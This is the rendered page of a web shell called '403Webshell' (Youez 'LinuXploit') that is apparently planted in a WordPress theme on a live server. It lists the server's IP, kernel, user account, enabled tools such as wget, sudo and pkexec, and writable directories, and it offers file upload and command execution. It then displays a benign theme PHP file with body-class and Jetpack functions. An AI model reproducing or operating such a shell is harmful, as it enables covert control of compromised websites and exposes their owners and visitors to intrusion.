403Webshell
Server IP : 159.253.20.91  /  Your IP : 216.73.216.111
Web Server : nginx/1.20.2
System : Linux se38c9e53.fastvps-server.com 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
User : pr11_ru_usr ( 1041)
PHP Version : 8.1.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/pr11_ru_usr/data/www/pr11.ru/wp-content/themes/norebro/inc/init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/pr11_ru_usr/data/www/pr11.ru/wp-content/themes/norebro/inc/init/extras.php
<?php

function norebro_init_body_classes( $classes ) {
	// Adds a class of group-blog to blogs with more than 1 published author.
	if ( is_multi_author() ) {
		$classes[] = 'group-blog';
	}
	// Adds a class of hfeed to non-singular pages.
	if ( ! is_singular() ) {
		$classes[] = 'hfeed';
	}
	return $classes;
}

add_filter( 'body_class', 'norebro_init_body_classes' );



function norebro_init_jetpack() {
	add_theme_support( 'infinite-scroll', array(
		'container' => 'main',
		'render'    => 'norebro_lh_jetpack_infinite_render',
		'footer'    => 'page',
	) );
	add_theme_support( 'jetpack-responsive-videos' );
}

function norebro_lh_jetpack_infinite_render() {
	while ( have_posts() ) {
		the_post();
		if ( is_search() ) {
		    get_template_part( 'parts/content', 'search' );
		} else {
		    get_template_part( 'parts/content', get_post_format() );
		}
	}
}

add_action( 'after_setup_theme', 'norebro_init_jetpack' );

Youez - 2016 - github.com/yon3zu
LinuXploit